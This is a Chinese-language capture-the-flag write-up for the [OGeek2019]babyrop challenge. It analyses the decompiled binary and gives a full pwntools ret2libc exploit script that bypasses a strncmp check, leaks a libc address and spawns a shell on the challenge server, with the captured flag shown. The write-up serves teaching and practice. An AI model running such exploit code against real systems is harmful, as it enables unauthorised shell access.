【pwn做题记录】01.[OGeek2019]babyrop 1
例题:buu的[OGeek2019]babyrop 1
首先检查一下文件
C:\Users\A\Downloads>checksec pwn
[*] 'C:\\Users\\A\\Downloads\\pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
上面每一条的意思依次是:
- 32位程序,小端序
- GOT表只读
- 没有栈保护
- 栈不可执行
- 地址随机化
根据没有栈保护,栈不可执行,地址随机化,题目给的libc。可以尝试用libc和ROP的知识来获取flag。
用IDA打开文件,查看main函数
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
(1)观察栈溢出漏洞,有个read,但buf大小为0x14,read只读0x4,因此没有栈溢出。
(2)查看变量关系,根据在栈上的位置,可以看出v2 = buf[7]
接下来先看第一个函数sub_80486BB():
int sub_80486BB()
{
alarm(0x3Cu);
signal(14, handler);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
alarm:设置一个时钟,用于定时的
signal:超时后执行对应的函数
setvbuf:修改缓冲区的类型,大小和位置的
void __cdecl __noreturn handler(int a1)
{
puts("Time's up");
exit(1);
}
可以看出函数sub_80486BB()是做一些超时后的操作和缓冲区方面的修改,对获取flag无影响。
接下来看一下第二个函数sub_804871F(buf):
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
memset:修改变量的值,这里类似a = 0。
sprintf:将格式化字符串存储在变量中。类似a = "{%d}".format(al)。
strlen:计算字符串长度,以\0为结束标志。
strncmp:比较两个字符串,v1是比较长度,两个字符串相同的时候返回0。
(1)看一下read函数,发现都没有栈溢出漏洞
(2)先缕清一下这里的变量,buf是我们输入的字符串,v6是读取buf的字节数(包括结束符\00),v1是buf的字符串长度,s可以看作一个随机数(因为传进来的al是从文件/dev/urandom中读取的4个字符,不知道是啥)
(3)因此可以判断出,buf和s的值几乎不可能相同,即strncmp的返回不为0,那么就会执行exit(0)终止程序。这里有个方法就是使v1的值为0,那strncmp就只检查第0个字符,即不检查,就可以绕过这个if条件,利用strlen的特性,可以让buf的第一个字符为\0
(4)由于这个函数的返回值会作为下一个函数的参数,所以看一下v5,v5是一个unsigned int类型的。看一下和buf的关系,可以看出v5 = buf[7](buf长度为7,本来buf最后一个元素为buf[6],但由于下一个字节就可以覆盖v5的值,所以这里简单写为buf[7]),这里有一个buf[v6-1]操作,看一下会不会被修改。假设buf = "01234567",则v6 = 8 + 1(记得加上\0结束符),那么buf[v6 - 1] = buf[8],所以不会影响到v5的值,即返回值没有被改动。
接下来来看第三个函数sub_80487D0(v2):
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
(1)观察有没有栈溢出漏洞,可以看到read(0, &buf, a1),因此我们可以控制al的值,来实现栈溢出。
(2)这里的buf到ebp的距离为0xE7,加上ebp的4字节,即差不多需要240左右个字节才能发生栈溢出,因此需要让al的ascii值尽可能的大。
(3)由于传进来的v2是一个unsigned int类型,正常输入字符最多为128,因此,这里的绕过方法是使用转义字符,即让v2 = "\xff",这样的ascii码就为255了。
思路总结:
这里因为没有system函数,并且提供了libc文件,所以利用libc泄露的思想做。
分析完整个程序,我们的攻击思路为:
1.绕过strncmp函数:输入的buf的值为\0
2.绕过al==127和提供栈溢出条件:使buf[7] = "\xff"
3.获取write的地址(这里用用回溯的方式,即得到write地址后返回到main函数):payload = b"垃圾数据" + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
4.利用write的地址计算偏移量和libc,从而得到system,str_bin_sh的地址
5.标准的栈溢出漏洞利用:payload = b"垃圾数据" + p32(system) + p32(0) + p32(bin_sh)
攻击脚本:
#!/bin/python
from pwn import *
elf = ELF("./pwn")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x8048825 # 可以用IDA查看
libc = ELF("./libc-2.23.so")
io = remote("node5.buuoj.cn",28094)
payload = b"\0" + b"\xff" * 7
io.sendline(payload)
print(io.recvuntil("Correct\n"))
# p32(1)是write的第一个参数,表示标准输出,即要让write打印write的地址
# p32(4)是write的第三个参数,用于限制读取的字节,因为32位的寄存器大小为4字节,所以4字节足够放一个32位的地址了
# p32(main)是返回到main函数,在获取write地址后开始利用栈溢出漏洞
payload = b"a" * (0xe7 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write = hex(u32(io.recv(4))) # 获取write的地址,u32是将字节型转换为字符型。与p32相反
print(write)
write = int(write,16) # 将write地址转换为数字,方便计算
libc_base = write - libc.symbols["write"] # 计算偏移量
system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = b"\0" + b"\xff" * 7
io.sendline(payload)
print(io.recvuntil("Correct\n"))
payload = b"a" * (0xe7 + 4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()
这样就可以获取到flag了
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{222c8c86-fb81-4538-aa79-49bb60616f16}
$
[*] Closed connection to node5.buuoj.cn port 26075

浙公网安备 33010602011771号